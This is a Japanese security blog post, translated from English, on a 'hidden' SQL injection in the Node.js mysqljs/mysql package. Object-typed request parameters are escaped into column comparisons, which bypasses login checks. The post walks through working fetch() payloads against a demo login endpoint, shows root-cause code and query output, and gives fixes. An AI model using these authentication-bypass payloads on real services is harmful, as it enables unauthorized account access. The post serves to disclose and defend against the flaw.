※本記事は筆者styprが英語で執筆した記事を株式会社Flatt Security社内で日本語に翻訳したものになります。
TL;DR
Node.jsのエコシステムで最も人気のあるMySQLパッケージの一つである mysqljs/mysql
(https://github.com/mysqljs/mysql)において、クエリのエスケープ関数の予期せぬ動作がSQLインジェクションを引き起こす可能性があることが判明しました。
通常、クエリのエスケープ関数やプレースホルダはSQLインジェクションを防ぐことが知られています。しかし、mysqljs/mysql
は、値の種類によってエスケープ方法が異なることが知られており、攻撃者が異なる値の種類でパラメータを渡すと、最終的に予期せぬ動作を引き起こす可能性があります。予期せぬ動作とは、バグのような動作やSQLインジェクションなどです。
ほぼすべてのオンライン開発チュートリアルやセキュリティガイドラインはこのリスクを考慮しておらず誤解を招く恐れがある内容を掲載しており、このライブラリに依存している多くのNode.jsプロジェクトに潜在的な影響を与えています。
タイトルに「隠れた」という言葉が入っているのは、この記事を書いている時点では、ほとんどの自動化されたSQLインジェクション・スキャナーやペイロードがこのようなケースを探していないからです。
connection.escape()
、mysql.escape()
、pool.escape()
も同様の手法で影響を受けますのでご注意ください。
以下のコードは、Google検索のNode.js express development tutorialsの一番上の結果に出てくる脆弱性のあるスニペットの例です。
... app.post("/auth", function (request, response) { var username = request.body.username; var password = request.body.password; if (username && password) { connection.query( "SELECT * FROM accounts WHERE username = ? AND password = ?", [username, password], function (error, results, fields) { ... } ); } }); ...
上記のコードは、一見すると安全なように見えます。しかし、express
パッケージの仕様により、username
や password
を Object
、Boolean
、Array
などの異なる値型で渡すことが可能です。
次のコードは、password
を Object
として渡し、認証をバイパスするexploitスクリプトの例です。
/* Running the following code in your browser will execute the following code in the backend. > SELECT * FROM accounts WHERE username = 'admin' AND password = `password` = 1; And the executed query will eventually be simplified into the following query > SELECT * FROM accounts WHERE username = 'admin' AND 1 = 1; > SELECT * FROM accounts WHERE username = 'admin'; */ data = { "username": "admin", "password": { "password": 1 } } fetch("https://sqli.blog-demo.flatt.training/auth", { "headers": { "content-type": "application/json", }, "body": JSON.stringify(data), "method": "POST", "mode": "cors", "credentials": "include" }) .then(r => r.text()) .then(r => { console.log(r); });
上記のコードに見られるように、password
パラメータが Object
として渡された場合、SQLクエリは予期せず変更されます。
このような動作を修正するには、以下の2つの回避策のうち少なくとも1つを実行してください。
1 mysql.createConnection
に stringifyObjects: true
を追加して、Object
型での予期せぬエスケープ出力を防ぐ。(MUST)
var connection = mysql.createConnection({ ..., stringifyObjects: true, }); ...
2 クエリを実行する前に型のチェックを追加する(SHOULD)
前述の回避策で問題が生じた場合や、プロジェクトでより高いセキュリティを確保したい場合には、クエリを実行する前に型チェックを追加することが推奨されます。
しかし、すべてのケースで型チェックを追加すると、開発や保守のコストが増える可能性があります。また、コードの中で何が起こっているのかよくわからないときに、予期せぬ問題を引き起こす可能性もあります。
app.post("/auth", function (request, response) { var username = request.body.username; var password = request.body.password; // Reject different type if (typeof username != "string" || typeof password != "string"){ response.send("Invalid parameters!"); response.end(); return; } if (username && password) { connection.query( "SELECT * FROM accounts WHERE username = ? AND password = ?", [username, password], function (error, results, fields) { ... } ); } });
はじめに
こんにちは、株式会社Flatt Securityのstypr (https://twitter.com/stereotype32 , https://harold.kim/ )です。前回0dayに関するブログを書いてから久しぶりの投稿です。
現在、私はある0dayに関する技術ブログ記事の公開を予定しています。しかし、ベンダーは何ヶ月もその脆弱性に関する勧告を発表しておらず、記事の公開ができません。そこで、開発者とセキュリティ研究者の両方に有益な別のテーマで記事を書くことにしました。ベンダーが勧告を発表したら、すぐに次の記事を公開する予定です。
今回は、多くのNode.jsのWebアプリケーションが影響を受けている「隠れた」SQLインジェクションについての知識を書き、共有することにしました。しかし、この脆弱性を知っている人はあまり多くありません。
このSQLインジェクションのトリックは、オンラインのCTF(サイバーセキュリティ競技のことです)の課題として初めて一般に紹介されました。しかし、この脆弱性は多くのWebセキュリティ研究者の間ではかなり以前から知られており、多くの研究者はこのトリックを私的な侵入テストやWebサービスへの攻撃に黙って利用していたのです。
開発者やセキュリティエンジニアの視点からは、このようなバグを発見するのは難しいので、この脆弱性を「隠れた」と表現しました。エスケープ処理は様々な言語のほとんどのSQL関連パッケージにおいて、SQLインジェクションを防ぐためのベストプラクティスと考えられています。この思い込みにより、今回紹介する脆弱性は使用しているパッケージの動作原理を掘り下げない限り、ほとんど見つけることができませんでした。
以下は執筆時点で誤解を招く恐れがある内容だと判断したチュートリアルやセキュリティガイドラインの一覧です。
- セキュリティガイドライン
- チュートリアル
Exploitデモンストレーション
この記事で使用する脆弱なサンプルプロジェクトは、Google検索の一番上のチュートリアルのコードを参考にしています。(https://codeshack.io/basic-login-system-nodejs-express-mysql/ )
参考までに、docker-compose.yml
を書いてみました。あなたのマシンでもこのコードをすぐに実行できるかもしれません。https://github.com/stypr/vulnerable-nodejs-express-mysql
また、サンプルの再現環境を作成しましたので、 https://sqli.blog-demo.flatt.training/ にアクセスし、テスト目的で利用しても問題ありません。
このWebサービスの例では、以下のように3つのエンドポイントがあります。 なお、ソースコードには登録機能はありません。
エンドポイント | 概要 |
---|---|
/ | ログインフォームが表示されます。 |
/home | ユーザーネームが表示されます。ログインしないと閲覧できません。 |
/auth | 認証を行うエンドポイントです。ユーザーネームとパスワードを確認します。 |
アカウントテーブルには以下の行があります。
ID | username | password | |
---|---|---|---|
1 | admin | (ランダムに生成されたSHA512ハッシュ) | admin@flatt.tech |
認証の流れは以下のようになっています。見ての通り、一見すると安全なコードのように見えます。
app.post("/auth", function (request, response) { // Capture the input fields let username = request.body.username; let password = request.body.password; // Ensure the input fields exists and are not empty if (username && password) { // Execute SQL query that'll select the account from the database based on the specified username and password connection.query( "SELECT * FROM accounts WHERE username = ? AND password = ?", [username, password], function (error, results, fields) { // If there is an issue with the query, output the error if (error) throw error; // If the account exists if (results.length > 0) { // Authenticate the user request.session.loggedin = true; request.session.username = username; // Redirect to home page response.redirect("/home"); } else { response.send("Incorrect Username and/or Password!"); } response.end(); } ); } else { response.send("Please enter Username and Password!"); response.end(); } });
では、Chromeのデベロッパーツールを開いてみましょう。
デベロッパーツールの [Network] タブをクリックすると、HTTPリクエストとレスポンスをキャプチャすることができます。Chrome以外のお好みのブラウザでも構いません。
ユーザー名とパスワードを入力し送信すると、デベロッパーツール上に auth
エンドポイントが表示されます。
次に、認証リクエストを fetch()
コードとしてコピーして、JavaScriptコードとして実行します。これを行うには、エンドポイントを右クリックし、[Copy] -> [Copy as fetch] をクリックします。
では、[Console] タブに移動して、コードをコピー&ペーストしてみましょう。コードは以下のようになっているはずです。
fetch("https://sqli.blog-demo.flatt.training/auth", { "headers": { "accept-language": "en-US,en;q=0.9,ko;q=0.8,ja;q=0.7", "cache-control": "max-age=0", "content-type": "application/x-www-form-urlencoded", ... }, ... "body": "username=admin&password=12341234test", "method": "POST", "mode": "cors", "credentials": "include" });
テストに便利なように、コードから余分な情報を削除して、コードを実行してみましょう。
fetch("https://sqli.blog-demo.flatt.training/auth", { headers: { "content-type": "application/x-www-form-urlencoded", }, body: "username=admin&password=12341234test", method: "POST", mode: "cors", credentials: "include", }) .then((r) => r.text()) .then((r) => { console.log(r); });
無効な認証情報なので、下図のように、「Incorrect Username and/or Password
」のエラーメッセージが表示されます。
さて、認証をバイパスするためにコードを少し変えてみましょう。ここでは、パラメータを文字列ではなくオブジェクトにするために、パスワードのパラメータを password[password]
に変更します。
fetch("https://sqli.blog-demo.flatt.training/auth", { headers: { "content-type": "application/x-www-form-urlencoded", }, body: "username=admin&password[password]=1", method: "POST", mode: "cors", credentials: "include", }) .then((r) => r.text()) .then((r) => { console.log(r); });
上記のコードを実行することで、管理者アカウントへのアクセスが可能になります。
確認のため、/home
エンドポイントにアクセスして、adminとしてログインしているかどうかを確認します。
また、データをJSONとして渡し、認証をバイパスすることも可能です。
data = { username: "admin", password: { password: 1, }, }; fetch("https://sqli.blog-demo.flatt.training/auth", { headers: { "content-type": "application/json", }, body: JSON.stringify(data), method: "POST", mode: "cors", credentials: "include", }) .then((r) => r.text()) .then((r) => { console.log(r); });
では、何が原因でこのようなバイパスが発生したのでしょうか?
根本原因
まず、公式ドキュメントを見て、エスケープ機能の仕組みを確認してみましょう。
https://github.com/mysqljs/mysql/blob/master/Readme.md#escaping-query-values
公式ドキュメントで説明されているように、パラメータに渡す値の型によって、エスケープ方法が異なります。
SQL インジェクション攻撃を回避するためには、ユーザーが提供したデータを SQL クエリの中で使用する前に必ずエスケープする必要があります。エスケープするには、
mysql.escape()
、connection.escape()
、またはpool.escape()
メソッドを使用します。...(省略) ...
値の種類によってエスケープ方法が異なります。
数字はそのまま
Booleanはtrue / falseに変換されます
日付オブジェクトは「YYYY-mm-dd HH:ii:ss」文字列に変換されます
...(省略) ...
- 文字列は安全にエスケープされます
...(省略) ...
オブジェクトは、オブジェクト上の列挙可能なプロパティごとに、key = 'val' のペアになります。プロパティの値が関数の場合はスキップされ、プロパティの値がオブジェクトの場合は、その上でtoString()が呼び出され、返された値が使用されます。
undefined / null は NULLに変換される
...(省略) ...
※ 上記引用部分は株式会社Flatt Securityで翻訳したものです。
escape
関数はmysqljs/sqlstring
(https://github.com/mysqljs/sqlstring)から読み込まれます。ここで値の型によってエスケープ処理が異なることが確認できます。
lib/SqlString.js
SqlString.escape = function escape(val, stringifyObjects, timeZone) { if (val === undefined || val === null) { return 'NULL'; } switch (typeof val) { case 'boolean': return (val) ? 'true' : 'false'; case 'number': return val + ''; case 'object': if (val instanceof Date) { return SqlString.dateToString(val, timeZone || 'local'); } else if (Array.isArray(val)) { return SqlString.arrayToList(val, timeZone); } else if (Buffer.isBuffer(val)) { return SqlString.bufferToString(val); } else if (typeof val.toSqlString === 'function') { return String(val.toSqlString()); } else if (stringifyObjects) { return escapeString(val.toString()); } else { return SqlString.objectToValues(val, timeZone); } default: return escapeString(val); } }; ... SqlString.objectToValues = function objectToValues(object, timeZone) { var sql = ''; for (var key in object) { var val = object[key]; if (typeof val === 'function') { continue; } sql += (sql.length === 0 ? '' : ', ') + SqlString.escapeId(key) + ' = ' + SqlString.escape(val, true, timeZone); } return sql; };
公式のガイドラインに基づいて、異なる型の値をプレースホルダーに渡すとどうなるか、サンプルコードを作成してみましょう。
/* main.js Test code for different types */ var mysql = require("mysql"); // connection var connection = mysql.createConnection({ host: "localhost", user: "login", password: "login", database: "login", }); // log query connection.on("enqueue", function (sequence) { if ("Query" === sequence.constructor.name) { console.log(sequence.sql); } }); // username and password var username = "admin"; var password_list = [ 12341234, // Numbers true, // Booleans new Date("December 17, 1995 03:24:00"), // Date new String("test_password_string"), // String Object "test_password_string", // String ["array_test_1", "array_test_2"], // Array [ ["a", "b"], ["c", "d"], ], // Nested Array { obj_key_1: "obj_val_1" }, // Object undefined, null, ]; // What will happen? for (i in password_list) { var sql = "SELECT * FROM accounts WHERE username = ? AND password = ?"; connection.query( sql, [username, password_list[i]], function (error, results, fields) {} ); }
コードを実行してみると、値の種類によってクエリのエスケープが異なることがわかります。
$ node main.js SELECT * FROM accounts WHERE username = 'admin' AND password = 12341234 SELECT * FROM accounts WHERE username = 'admin' AND password = true SELECT * FROM accounts WHERE username = 'admin' AND password = '1995-12-17 03:24:00.000' SELECT * FROM accounts WHERE username = 'admin' AND password = `0` = 't', `1` = 'e', `2` = 's', `3` = 't', `4` = '_', `5` = 'p', `6` = 'a', `7` = 's', `8` = 's', `9` = 'w', `10` = 'o', `11` = 'r', `12` = 'd', `13` = '_', `14` = 's', `15` = 't', `16` = 'r', `17` = 'i', `18` = 'n', `19` = 'g' SELECT * FROM accounts WHERE username = 'admin' AND password = 'test_password_string' SELECT * FROM accounts WHERE username = 'admin' AND password = 'array_test_1', 'array_test_2' SELECT * FROM accounts WHERE username = 'admin' AND password = ('a', 'b'), ('c', 'd') SELECT * FROM accounts WHERE username = 'admin' AND password = `obj_key_1` = 'obj_val_1' SELECT * FROM accounts WHERE username = 'admin' AND password = NULL SELECT * FROM accounts WHERE username = 'admin' AND password = NULL
ご覧のように、いくつかの型(特にオブジェクト型)は、エスケープ関数でエスケープされる際に、バッククォートで囲まれた識別子 を含んでいます。バッククォート付きの識別子は、データベース、テーブル、カラムなどを示すのに使われます。これにより、クエリの中で他のテーブルやカラムを参照することができます。
では、obj_key_1
と obj_val_1
を1つずつ変更してみましょう。
password = `obj_key_1`
を password = `password`
に変更した場合はどうなるでしょうか。バッククォートで囲まれた識別子 password
はカラムとみなされるので、最終的には password = password
となり、最後には必ず 1
(true)が返ってきます。この挙動は、クエリで 1=1
を評価したときの挙動と似ています。
mysql> select password = `password` from accounts; +-----------------------+ | password = `password` | +-----------------------+ | 1 | +-----------------------+ 1 row in set (0.00 sec)
さて、クエリの上で obj_val_1
を数値の1に変更すると、最終的には (1=1)=1
となり、最終的には1を返します。
mysql> select password = `password` = 1 from accounts; +---------------------------+ | password = `password` = 1 | +---------------------------+ | 1 | +---------------------------+ 1 row in set (0.00 sec)
true
が 1
とされているので、パスワードチェックは常に有効なものとして返され、認証をバイパスすることができます。
結論として、パスワードパラメータが {'password': 1}
として渡された場合、最終的に(1=1)=1
に変換され、認証ロジックをバイパスすることになります。
mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND password=`password`; +----+----------+------------------+------------------+ | id | username | snipped_password | email | +----+----------+------------------+------------------+ | 1 | admin | da923326 | admin@flatt.tech | +----+----------+------------------+------------------+ 1 row in set (0.00 sec) mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND password=`password`=1; +----+----------+------------------+------------------+ | id | username | snipped_password | email | +----+----------+------------------+------------------+ | 1 | admin | da923326 | admin@flatt.tech | +----+----------+------------------+------------------+ 1 row in set (0.00 sec) mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND 1; +----+----------+------------------+------------------+ | id | username | snipped_password | email | +----+----------+------------------+------------------+ | 1 | admin | da923326 | admin@flatt.tech | +----+----------+------------------+------------------+ 1 row in set (0.00 sec)
修正
修正は次のような方法で行うことができます。
回避策1: mysql.createConnection
に stringifyObjects: true
を追加して、Object
型での予期せぬエスケープ出力を防ぐ。
mysql.createConnection
を呼び出す際にstringifyObjects: true
を追加すると、Object
がパラメータに伝わる際、全ての予期せぬ動作が遮断されます。
しかし、これはプロジェクトのすべての既存のクエリに影響を及ぼす可能性があり、一部のクエリが実際に Object
型のパラメータを伝える際に他の問題が発生する可能性があります。 代案として回避策2も考慮してください。
修正前
var connection = mysql.createConnection({ host: "db", user: "login", password: "login", database: "login", }); ...
修正後
var connection = mysql.createConnection({ host: "db", user: "login", password: "login", database: "login", stringifyObjects: true, }); ...
回避策2: クエリを実行する前に型のチェックを追加する
回避策1は、この問題を解決する最も効率的かつ効果的な方法になり得ます。
しかし、この解決方法は Object
の予想外の動作だけを遮断します。 Array
、Array
の配列、Boolean
などの他の型は、依然として型によって異なる出力となるので予想外の問題を引き起こす可能性があります。
なので、堅牢性と実用性の両立のために、型のチェックの追加を推奨します。 この解決方法のデメリットは、プロジェクトに型をチェックするコードを追加し、メンテナンスするのに多くのコストがかかることです。 また、コーディング時に型のチェックの存在を見逃すことがあります。
修正前
app.post("/auth", function (request, response) { var username = request.body.username; var password = request.body.password; if (username && password) { connection.query( "SELECT * FROM accounts WHERE username = ? AND password = ?", [username, password], function (error, results, fields) { ... } ); } });
修正後
app.post("/auth", function (request, response) { var username = request.body.username; var password = request.body.password; // Reject different value types if (typeof username != "string" || typeof password != "string"){ response.send("Invalid parameters!"); response.end(); return; } if (username && password) { connection.query( "SELECT * FROM accounts WHERE username = ? AND password = ?", [username, password], function (error, results, fields) { ... } ); } });
結論
このようなケースでは、最も信頼できるパッケージを最高のセキュリティ対策で使用していても、「隠れた」脆弱性が出てきます。
公式ガイドラインをよく読んで、セキュリティに影響を与える可能性のある情報を見逃さないようにしてください。Node.jsエコシステム内の多くのパッケージで、プリミティブでない型のデータを内部で処理できるため、型のチェックを追加することをお勧めします。 ユーザーが渡す値の型をチェックすることは、多くの言語で常に非常に重要であるため、このような予期せぬ動作はNode.jsのパッケージに限ったことではありません。
セキュリティエンジニアの観点から、個人的には、Node.jsのWebサービスでは、原理を把握せずとも使用できるパッケージが多すぎて、値の型の変更に伴う脆弱性が把握しづらいため、ホワイトボックス形式でのセキュリティ診断を行うことをお勧めします。このような値の型の変更を伴う攻撃は、一般的に、自動脆弱性スキャナを使ったブラックボックス形式の診断では検出・発見が困難です。 Flatt Securityではセキュリティエンジニアの手動検査とツールを組み合わせたセキュリティ診断サービスを提供しており、ソースコードを読んで行うようなホワイトボックス形式の診断も可能です。
過去に診断を実施したが不安や課題がある、予算やスケジュールに制約がありどのように診断を進めるべきか悩んでいる等、お困り事にあわせて対応策をご提案いたしますので、まずはお気軽にお問い合わせください。
お問い合わせは下記リンクよりどうぞ。
https://flatt.tech/assessment/contact
Flatt Securityはセキュリティに関する様々な発信を行っています。
最新記事: Webサービスにおけるファイルアップロード機能の仕様パターンとセキュリティ観点
最新情報を見逃さないよう、公式Twitterのフォローをぜひお願いします!
ここまでお読みいただきありがとうございました!
Thanks
良いフィードバックやアドバイスを提供してくださった@SANGWOOさんと@sangwhanmoonさんに感謝いたします。
私の投稿をレビューしてくださった社内の同僚の皆様にも感謝申し上げます。